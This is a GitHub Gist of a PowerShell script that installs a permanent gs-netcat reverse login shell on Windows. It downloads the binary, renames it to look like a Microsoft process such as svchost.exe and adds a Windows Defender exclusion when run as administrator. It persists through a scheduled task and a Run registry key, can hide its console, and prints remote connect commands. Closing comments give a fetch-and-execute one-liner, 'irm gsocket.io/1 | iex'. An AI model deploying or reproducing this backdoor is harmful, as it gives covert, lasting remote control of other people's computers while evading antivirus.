Last active
March 22, 2026 20:09
-
-
Save santaklouse/901f679e7a0ef3780f3b18cbbdc6c0e4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install and start a permanent gs-netcat reverse login shell | |
| # | |
| # See https://github.com/hackerschoice/gsocket for examples. | |
| # | |
| # $Env:S="MySecret" # for deploying with a spesific secret. | |
| # $Env:DEBUG=1 # for verbose output. | |
| # $Env:HIDE=1 # to hide the console window. | |
| $ERR_LOGS=$null # New-TemporaryFile | |
| $GITHUB_REPO="https://api.github.com/repos/hackerschoice" | |
| $GS_UTIL="gs-netcat" | |
| $GS_BIN_NAME="gs-netcat.exe" | |
| $GS_BIN_HIDDEN_NAME="svchost.exe" | |
| $GS_SCHEDULED_TASK_NAME="MS-Svc" | |
| $BANNER=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvICBHTSA+ICAgICAgICAgICAgICAgICAgICAgICAgICAgIl9fICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyAgICAgLiAgfCAgLiAgICDjg73jgqLjg7zjgrPjg7zjg4njg6UgR1NvY2tldD09PS0gICAgICAgIFwgICAgICAgICAKICAgIOKUgC3jg6XjgqPjg6Pjg7Pjg5Eg4Z2E4Z2B4Z2H4Z2FICBfICAgICAgICBfICAgICAgIC8gICAgICAgOiBcIC8gOiAgICAgICAgICAgICAgICAgICAgICAgXCAgICAgICAgIAogICBfXyBfIF9fXyAgX19fICAgX19ffCB8IF9fX19ffCB8XyAgICAvICAgICAgICAnLV9fXy0nICAgICAgICAgIOKYnCjinY3htKXinY3KiykpPi0gICAgXCAgICAgIAogIC8gX2AgLyBfX3wvIF8gXCAvIF9ffCB8LyAvIF8gXCBfX3wgIC9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyBcICAgICAgCiB8IChffCBcX18gXCAoXykgfCAoX198ICAgPCAgX18vIHxfICAgICAgICBfX19fX19ffCB8X19fX19fX19fX19fX19fX19fX19fX19fLS0iIi1MIAogIFxfXywgfF9fXy9cX19fLyBcX19ffF98XF9cX19ffFxfX3wgICAgICAvICAgICAgIEYgSiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwgCiAgICAgfF98ICAgQ29weXJpZ2h0IChjKSAyMDIzIEhhY2tlcnMgQ2hvaWNlICAgIC8gICAgICAgRiAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMIAogIGh0dHBzOi8vZ2l0aHViLmNvbS9oYWNrZXJzY2hvaWNlL2dzb2NrZXQvICAgICAgICAgIC8gICAgICAgJzogICAgJzogICDilIDdooxp4o2dKCgg4Z2E4Z2B4Z2H4Z2FIOKUgC3ilrDkuK3vvJkgICAgICAgICAgRgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvICBPVVQgPCAnLV9fXy0nICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgL19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXy0tIgoK")) | Out-String | |
| Add-Type -Name Window -Namespace Console -MemberDefinition ' | |
| [DllImport("Kernel32.dll")] | |
| public static extern IntPtr GetConsoleWindow(); | |
| [DllImport("user32.dll")] | |
| public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); | |
| ' | |
| function Print-Warning($str) | |
| { | |
| Write-Host "[!] " -ForegroundColor Yellow -NoNewline; | |
| Write-Host "$str" | |
| } | |
| function Print-Status($str) | |
| { | |
| Write-Host "[*] " -ForegroundColor Yellow -NoNewline; | |
| Write-Host "$str" | |
| } | |
| function Print-Success($str) | |
| { | |
| Write-Host "[+] " -ForegroundColor Green -NoNewline; | |
| Write-Host "$str" | |
| } | |
| function Print-Error($str) | |
| { | |
| Write-Host "[-] " -ForegroundColor Red -NoNewline; | |
| Write-Host "$str" | |
| } | |
| function Print-Fatal($str) | |
| { | |
| Write-Host "[!] " -ForegroundColor Red -NoNewline; | |
| Write-Host "$str" | |
| exit 1 | |
| } | |
| function Print-Progress($str) | |
| { | |
| if (-Not $env:DEBUG) { | |
| Write-Host "[*] " -ForegroundColor Yellow -NoNewline; | |
| Write-Host "$str" -NoNewline; | |
| Write-Host ("."*(60-$str.Length)) -NoNewline; | |
| } | |
| } | |
| function Print-Ok() | |
| { | |
| if (-Not $env:DEBUG) { | |
| Write-Host "[" -NoNewline; | |
| Write-Host "OK" -ForegroundColor Green -NoNewline; | |
| Write-Host "]"; | |
| } | |
| } | |
| function Print-Fail() | |
| { | |
| if (-Not $env:DEBUG) { | |
| Write-Host "[" -NoNewline; | |
| Write-Host "FAIL" -ForegroundColor Red -NoNewline; | |
| Write-Host "]"; | |
| } | |
| } | |
| function Print-Debug($str) | |
| { | |
| if ($env:DEBUG) { | |
| Write-Host "[*] " -ForegroundColor Yellow -NoNewline; | |
| Write-Host "$str" | |
| } | |
| } | |
| function Hide-Console | |
| { | |
| $consolePtr = [Console.Window]::GetConsoleWindow() | |
| #0 hide | |
| [Console.Window]::ShowWindow($consolePtr, 0) | |
| } | |
| function Get-RandomProcessName { | |
| $processes = Get-Process | |
| $microsoftProcesses = $processes | Where-Object { $_.Company -like "*Microsoft*" -and $_.ProcessName -notlike "svchost" } | |
| if ($microsoftProcesses.Count -eq 0) { | |
| return "svchost.exe" | |
| } | |
| $randomProcess = $microsoftProcesses | Get-Random | |
| return $randomProcess.Name + ".exe" | |
| } | |
| function Is-Administrator | |
| { | |
| return [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") | |
| } | |
| function Get-Latest-Release | |
| { | |
| $GS_PACKAGE="gs-netcat-windows-386.tar.gz" | |
| Switch ($Env:PROCESSOR_ARCHITECTURE) | |
| { | |
| "x86" {$GS_PACKAGE="gs-netcat-windows-386.tar.gz"} | |
| "AMD64" {$GS_PACKAGE="gs-netcat-windows-amd64.tar.gz"} | |
| "ARM64" {$GS_PACKAGE="gs-netcat-windows-arm64.tar.gz"} | |
| default {Print-Fatal "Unsupported Windows architecture!"} | |
| } | |
| Print-Debug "Package: $GS_PACKAGE" | |
| try { | |
| $apiUrl = "$GITHUB_REPO/$GS_UTIL/releases/latest" | |
| $response = Invoke-RestMethod -Uri $apiUrl | |
| $asset = $response.assets | Where-Object { $_.name -eq $GS_PACKAGE } | |
| if (-not $asset) { | |
| Print-Fatal "Could not find asset $GS_PACKAGE in the latest release." | |
| } | |
| return $asset.browser_download_url | |
| } catch { | |
| Print-Debug $_.Exception | |
| throw $_.Exception | |
| } | |
| } | |
| function Download-Gsocket-Util($path) | |
| { | |
| try { | |
| $downloadUrl = Get-Latest-Release | |
| Print-Debug "Latest Release: $downloadUrl" | |
| $WebClient = New-Object System.Net.WebClient | |
| $WebClient.Headers.Add("Accept","application/octet-stream") | |
| $WebClient.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36") | |
| $WebClient.DownloadFile($downloadUrl, $path) | |
| if(Test-Path -Path "$path" -PathType Leaf){ | |
| Print-Debug "Gsocket binary downloaded under: $path" | |
| } | |
| }catch{ | |
| Print-Debug $_.Exception | |
| throw $_.Exception | |
| } | |
| } | |
| function Create-Scheduled-Task($path, $secret) | |
| { | |
| Print-Debug "Creating scheduled task..." | |
| Print-Debug "Task command: powershell.exe -WindowStyle Hidden -Command $path -s $secret" | |
| try { | |
| $A = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command `"$path -s $secret`"" | |
| $T = New-ScheduledTaskTrigger -AtStartup | |
| if(Is-Administrator){ | |
| $P = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest | |
| }else{ | |
| $P = New-ScheduledTaskPrincipal "$env:USERNAME" | |
| } | |
| $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P | |
| $S = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries | |
| Register-ScheduledTask "${GS_SCHEDULED_TASK_NAME}_${RAND_NAME}" -InputObject $D -Settings $S | out-null | |
| }catch { | |
| Print-Debug $_.Exception | |
| throw $_.Exception | |
| } | |
| } | |
| function Create-Run-Key($path, $secret) | |
| { | |
| Print-Debug "Adding CurrentVersion\Run registery..." | |
| $RUN_CMD="powershell.exe -WindowStyle Hidden -Command \`"$path -s $secret\`"" | |
| Print-Debug $RUN_CMD | |
| try { | |
| if(Is-Administrator){ | |
| Print-Debug "Running as administrator" | |
| reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "${GS_SCHEDULED_TASK_NAME}_${RAND_NAME}" /t REG_SZ /f /d "$RUN_CMD" >$ERR_LOGS | |
| }else{ | |
| Print-Debug "Running as $env:UserName" | |
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "${GS_SCHEDULED_TASK_NAME}_${RAND_NAME}" /t REG_SZ /f /d "$RUN_CMD" >$ERR_LOGS | |
| } | |
| }catch { | |
| Print-Debug $_.Exception | |
| throw $_.Exception | |
| } | |
| Print-Debug "Auto-run key added successfully" | |
| } | |
| function Print-Usage($secret_file) | |
| { | |
| Write-Host " `n" | |
| Get-Content $secret_file | & $GS_PATH "--qr" | |
| Write-Host " `n" | |
| Write-Host "# >>> Connect ============> gs-netcat -i -s $SECRET" -ForegroundColor Green | |
| Write-Host "# >>> Connect With TOR ===> gs-netcat -T -i -s $SECRET" -ForegroundColor Green | |
| Write-Host " `n" | |
| } | |
| if ($env:HIDE) { | |
| Hide-Console | |
| } | |
| ## =========================== START HERE ======================== | |
| Write-Host "$BANNER" | |
| if ($env:DEBUG) { | |
| $ERR_LOGS=New-TemporaryFile | |
| Print-Debug "Error Logs: $ERR_LOGS" | |
| } | |
| $SECRET=$Env:S | |
| $GS_BIN_HIDDEN_NAME = Get-RandomProcessName | |
| $RAND_NAME= -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}) | |
| $SECRET_FILE= Join-Path -Path "$env:TMP" -ChildPath "$RAND_NAME.txt" | |
| $GS_DIR= Join-Path -Path "$env:APPDATA" -ChildPath "$RAND_NAME" | |
| $GS_PATH= Join-Path -Path $GS_DIR -ChildPath "$GS_BIN_HIDDEN_NAME" | |
| $PERSISTENCE=$false | |
| Print-Status "GSocket Dir: $GS_PATH" | |
| mkdir $GS_DIR >$ERR_LOGS | |
| if (Is-Administrator) { | |
| Print-Progress "Adding defender exclusion path" | |
| try { | |
| Add-MpPreference -ExclusionPath "$GS_DIR" 2>$ERR_LOGS | |
| Print-Ok | |
| }catch { | |
| Print-Fail | |
| } | |
| } | |
| try { | |
| Print-Progress "Downloading binaries" | |
| Download-Gsocket-Util(Join-Path -Path $GS_DIR -ChildPath "$RAND_NAME.tar.gz") | |
| Print-Ok | |
| }catch { | |
| Print-Fail | |
| Print-Fatal "Failed downloading GSocket util." | |
| } | |
| try { | |
| Print-Progress "Unpacking binaries" | |
| tar zx -C "$GS_DIR" -f (Join-Path -Path $GS_DIR -ChildPath "$RAND_NAME.tar.gz") 2>$ERR_LOGS | |
| Print-Ok | |
| }catch{ | |
| Print-Fail | |
| Print-Fatal "Failed extracting Gsocket util." | |
| } | |
| try { | |
| Print-Progress "Copying binaries" | |
| Remove-Item -Path (Join-Path -Path $GS_DIR -ChildPath "$RAND_NAME.tar.gz") | |
| Rename-Item -Path (Join-Path -Path $GS_DIR -ChildPath "$GS_BIN_NAME") -NewName "$GS_BIN_HIDDEN_NAME" | |
| if(! (Test-Path -Path $GS_PATH -PathType Leaf)){ | |
| Print-Fail | |
| Print-Fatal "Move failed. -> $GS_PATH" | |
| } | |
| Print-Ok | |
| }catch { | |
| Print-Fail | |
| Print-Fatal "Unable to copy gsocket binaries." | |
| } | |
| try { | |
| Print-Progress "Testing gsocket binaries and generating secret" | |
| $pinfo = New-Object System.Diagnostics.ProcessStartInfo | |
| $pinfo.FileName = $GS_PATH | |
| $pinfo.RedirectStandardError = $true | |
| $pinfo.UseShellExecute = $false | |
| $pinfo.Arguments = "-g" | |
| $proc = New-Object System.Diagnostics.Process | |
| $proc.StartInfo = $pinfo | |
| $proc.Start() | Out-Null | |
| $proc.WaitForExit() | |
| $RAND_SECRET = $proc.StandardError.ReadToEnd().Trim() | |
| $RAND_SECRET | Out-File -FilePath "$SECRET_FILE" | |
| Print-Ok | |
| }catch{ | |
| Print-Fail | |
| Print-Fatal "Binary test failed! Exiting..." | |
| } | |
| if ($SECRET.Length -eq 0) { | |
| if ($RAND_SECRET.Length -eq 0) { | |
| Print-Fatal "GSocket binary not working properly! Exiting..." | |
| } | |
| $SECRET=$RAND_SECRET | |
| } | |
| if (Is-Administrator) { | |
| try { | |
| Print-Progress "Installing system wide permanent access via schtask" | |
| Create-Scheduled-Task $GS_PATH $SECRET | |
| Print-Ok | |
| $PERSISTENCE=$true | |
| }catch{ | |
| Print-Fail | |
| } | |
| } | |
| try { | |
| Print-Progress "Installing system wide permanent access via registery" | |
| Create-Run-Key $GS_PATH $SECRET | |
| Print-Ok | |
| $PERSISTENCE=$true | |
| }catch{ | |
| Print-Fail | |
| } | |
| if ($PERSISTENCE -eq $false) { | |
| Print-Warning "Permanent install methods failed! Access will be lost after reboot." | |
| } | |
| try { | |
| Print-Progress "Starting gsocket utility" | |
| Print-Debug ("Path: "+$GS_PATH) | |
| Start-Process $GS_PATH "-s $SECRET" -WindowStyle Hidden | |
| Print-Ok | |
| }catch{ | |
| Print-Fail | |
| } | |
| Print-Usage($SECRET_FILE) | |
| # =================================================================== | |
| # === БЛОК ДЛЯ ОЖИДАНИЯ (добавить в самый конец скрипта) === | |
| # =================================================================== | |
| # Скрипт будет ждать нажатия Enter перед закрытием, если установлена | |
| # переменная окружения $env:WAIT. Это полезно для отладки или чтобы | |
| # прочитать вывод. | |
| # | |
| # Как использовать с паузой: | |
| # $env:WAIT=1; irm gsocket.io/1 | iex | |
| # | |
| # Как использовать без паузы (обычный режим): | |
| # irm gsocket.io/1 | iex | |
| # =================================================================== | |
| if ($env:WAIT) { | |
| Write-Host "`n[+] Скрипт завершен. Нажмите Enter для выхода." -ForegroundColor Green | |
| $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment